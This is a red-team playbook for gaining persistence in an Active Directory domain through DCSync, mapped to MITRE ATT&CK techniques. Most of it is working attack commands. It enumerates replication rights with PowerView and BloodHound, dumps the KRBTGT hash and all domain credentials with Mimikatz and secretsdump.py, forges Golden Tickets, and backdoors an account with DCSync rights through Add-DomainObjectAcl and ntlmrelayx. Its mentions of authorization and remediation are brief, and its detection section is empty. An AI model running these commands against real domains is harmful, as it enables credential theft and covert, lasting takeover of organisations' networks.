Conducting Domain Persistence With Dcsync

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Identify accounts with DCSync (replication) rights in Active Directory
• Perform DCSync using Mimikatz or Impacket's secretsdump.py
• Extract the KRBTGT account hash for Golden Ticket creation
• Dump all domain user password hashes for credential analysis
• Forge Golden Tickets for persistent domain access
• Grant DCSync rights to a controlled account for alternative persistence
• Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

• T1003.006 - OS Credential Dumping: DCSync
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1222.001 - File and Directory Permissions Modification: Windows
• T1098 - Account Manipulation
• T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

1. Enumerate principals with replication rights:

   # Using PowerView
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
     Select-Object SecurityIdentifier, ObjectAceType
   
   # Using BloodHound Cypher query
   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
   RETURN u.name, d.name
   

2. Using Impacket's FindDelegation or custom LDAP query:

   # Check with Impacket
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Default accounts with DCSync rights:
   • Domain Admins
   • Enterprise Admins
   • Domain Controllers group
   • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

1. Using Mimikatz (Windows):

   # Dump specific account (KRBTGT for Golden Ticket)
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
   
   # Dump Domain Admin
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
   
   # Dump all domain accounts
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
   

2. Using Impacket secretsdump.py (Linux):

   # Dump all credentials
   secretsdump.py domain.local/admin:'Password123'@10.10.10.1
   
   # Dump specific user
   secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
   
   # Dump only NTLM hashes (no Kerberos keys)
   secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
   
   # Using Kerberos authentication
   export KRB5CCNAME=admin.ccache
   secretsdump.py -k -no-pass domain.local/[email protected]
   

Phase 3: Golden Ticket Creation

1. Using Mimikatz with extracted KRBTGT hash:

   # Create Golden Ticket
   mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> /ptt"
   
   # Create with specific group memberships
   mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> \
     /groups:512,513,518,519,520 /ptt"
   

2. Using Impacket ticketer.py (Linux):

   # Create Golden Ticket
   ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
     -domain domain.local administrator
   
   # Use the ticket
   export KRB5CCNAME=administrator.ccache
   psexec.py -k -no-pass domain.local/[email protected]
   

Phase 4: Persistence via DCSync Rights

1. Grant DCSync rights to a controlled account for persistence:

   # Using PowerView - Add DS-Replication-Get-Changes-All rights
   Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
     -PrincipalIdentity backdoor_user -Rights DCSync
   
   # Verify rights were added
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
   

2. Using ntlmrelayx.py for automated DCSync rights escalation:

   # Relay authentication to add DCSync rights
   ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
   

Tools and Resources

Critical Hashes to Extract

Detection Signatures

Validation Criteria

• Accounts with DCSync rights enumerated
• KRBTGT hash extracted via DCSync
• All domain credentials dumped successfully
• Golden Ticket forged and validated for DA access
• DCSync rights persistence mechanism established (if in scope)
• Access to Domain Controller validated with Golden Ticket
• Evidence documented with hash values and timestamps
• Remediation recommendations provided (double KRBTGT reset, ACL audit)